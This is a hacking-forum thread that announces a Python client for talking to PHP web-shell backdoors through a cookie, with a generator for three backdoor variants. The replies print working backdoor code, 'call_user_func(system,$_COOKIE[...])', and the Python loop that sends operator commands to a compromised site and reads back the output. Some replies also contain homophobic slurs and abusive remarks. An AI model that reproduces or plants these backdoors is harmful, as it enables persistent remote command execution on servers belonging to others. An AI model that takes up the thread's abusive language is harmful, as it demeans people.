Home Upgrade Search Memberlist Extras Hacker Tools Award Goals Help Wiki Contact

Dongathon - Python Cookie Backdoor Shell Interaction [Release]

So a little over a month ago I created a basic python script that allows you to interact with a PHP backdoor through a cookie. The process is simple:

Take user input --> Send Input as a cookie to designated script --> PHP RCE function executes the command and returns output

The nice thing about this is that I can use any type of PHP function/backdoor I want to execute my command. I've recently decided to revamp my script and release it here on HF. I've added a generator which automatically creates 3 different types of php backdoors that are compatible with my script. These include:
  1. Preg_replace: utilizes preg_replace() with the \e modifier

  2. Call_user_func: utilizes call_user_func() with system()

  3. Non-alphanumeric: utilizes XOR to make a non-alphanumeric backdoor


Of course the beauty of this script is that you can use whatever type of backdoor you like, just make sure it executes $_COOKIE['p1r1'] or another if you just want to edit the python script all together. The script also returns everything between <pre> tags, so keep that in mind if your modding it.

ScreenShots:
-----------------------------------
Usage and Examples:
Spoiler (Click to View)

Generator and Shell
Spoiler (Click to View)

Think of this as something like a simplified and easily customizable Weevely or Webacoo. It's not meant to be anything special, but it still works well. Thanks for reading and I hope you enjoy.

http://pastebin.com/raw.php?i=tcdE9Ytv
Great Effort. Really gonna try this one. Thank you for sharing
I don't think I see myself in the credits section? Probably my vision, I'll go afk 5 mins and when I come back I expect it'll be there.
..........All this time I was finding myself and I didn't know I was lost..........
I like it , Also I have made some thing familiar to that but in bash , Here you go If you want to take a look : https://hackforums.net/showthread.php?tid=3130669 .
Thanks for the share .
Team INTRA
I'll be sure to take a look at it D:
af
Aww, this is a nice tool. I'm gonna use it for sure. <3
(Aug 20, 2013 06:28 AM)HaxOr❤ Wrote:  Aww, this is a nice tool. I'm gonna use it for sure. <3
Is it just me or does that "bra" in your signature look like a big cock?
And hi :)
(Aug 20, 2013 06:22 AM)ankr- Wrote:  
Code
print("Invalid Option: Exiting")
        exit(1)
why would you exit instead of try again?

If you can't manage to give it a number between 1 and 4, you deserve to have rerun the script.

Thanks for the responses everyone.
(Aug 20, 2013 06:33 AM)zeru_0_X Wrote:  Is it just me or does that "bra" in your signature look like a big cock?
And hi :)

u are one gay person i hate u fagget
python python python is cool
I hardly do anything beneficial on this forum anymore but for the sake of its salvation lemme bu.mp this.
(Aug 20, 2013 02:19 PM)Keeper Wrote:  I hardly do anything beneficial on this forum anymore but for the sake of its salvation lemme bu.mp this.

And this is good?
Look at all the hardcoded backdoors. IDS signatures, here we come!

@Nyckel: If you release another version, dynamically generate the bd's.

Also:
PHP Code

<?php 
$eval 
= call_user_func(system, $_COOKIE['p1r1']);  // Thanks to big boi Phizo
$eval; 
No. You don't need the second line there. What the fuck are you doing even assigning it to a variable at all?
PHP Code

<?php 
call_user_func
(system,$_COOKIE['p1r1']); 
works just fine.
(Aug 20, 2013 02:20 PM)Krieg Wrote:  And this is good?
Look at all the hardcoded backdoors. IDS signatures, here we come!

@Nyckel: If you release another version, dynamically generate the bd's.

Also:
PHP Code

<?php 
$eval 
= call_user_func(system, $_COOKIE['p1r1']);  // Thanks to big boi Phizo
$eval; 
No. You don't need the second line there. What the fuck are you doing even assigning it to a variable at all?
PHP Code

<?php 
call_user_func
(system,$_COOKIE['p1r1']); 
works just fine.

Ye fuck you too buddy. I ripped that one from Phizo's tutorial, so make sure to poop on him as well (although I'm equally at fault). I don't think I'll be releasing another version, but I'll keep your criticisms in mind. Thanks bb.
(Aug 20, 2013 02:28 PM)Nyckel Wrote:  Ye fuck you too buddy. I ripped that one from Phizo's tutorial, so make sure to poop on him as well (although I'm equally at fault). I don't think I'll be releasing another version, but I'll keep your criticisms in mind. Thanks bb.

I'll ease his efforts. Here is Phizo's tutorial https://hackforums.net/showthread.php?tid=3591942

He did bad and should feel bad.
(Aug 20, 2013 02:42 PM)ankr- Wrote:  hai kepp
hauu are you

IWAN IWANOW PETROW

faget lel

You've miscopied it. My name is with a "v" instead of "w".



Code
#Cookie Shell
def shell(site):
    signal.signal(signal.SIGINT, signal_handler)
    while True:
        http = httplib2.Http()
        cookie_value = "p1r1=" + raw_input("shell@dongathon:~$ ")
        headers = {'Cookie':cookie_value}
        response, content = http.request(site, 'GET', headers=headers)
        for item in content.split("</pre>"):
            if "<pre>" in item:
                out = item [ item.find("<pre>")+len("<pre>") : ]
                print(out[:-1])
You don't deserve to live.


Possibly Related Threads...
Thread / Author Replies Views Last Post
by TheWaxBearJun 11, 2024 04:31 AM 3 197 Jun 11, 2024 04:31 AM
Last Post: G.P.D.
by osmanaksitSep 19, 2022 07:38 PM 10 800 Sep 19, 2022 07:38 PM
Last Post: Willis Lucas
by rahmatabdazApr 24, 2020 01:36 PM 0 183 Apr 24, 2020 01:36 PM
Last Post: rahmatabdaz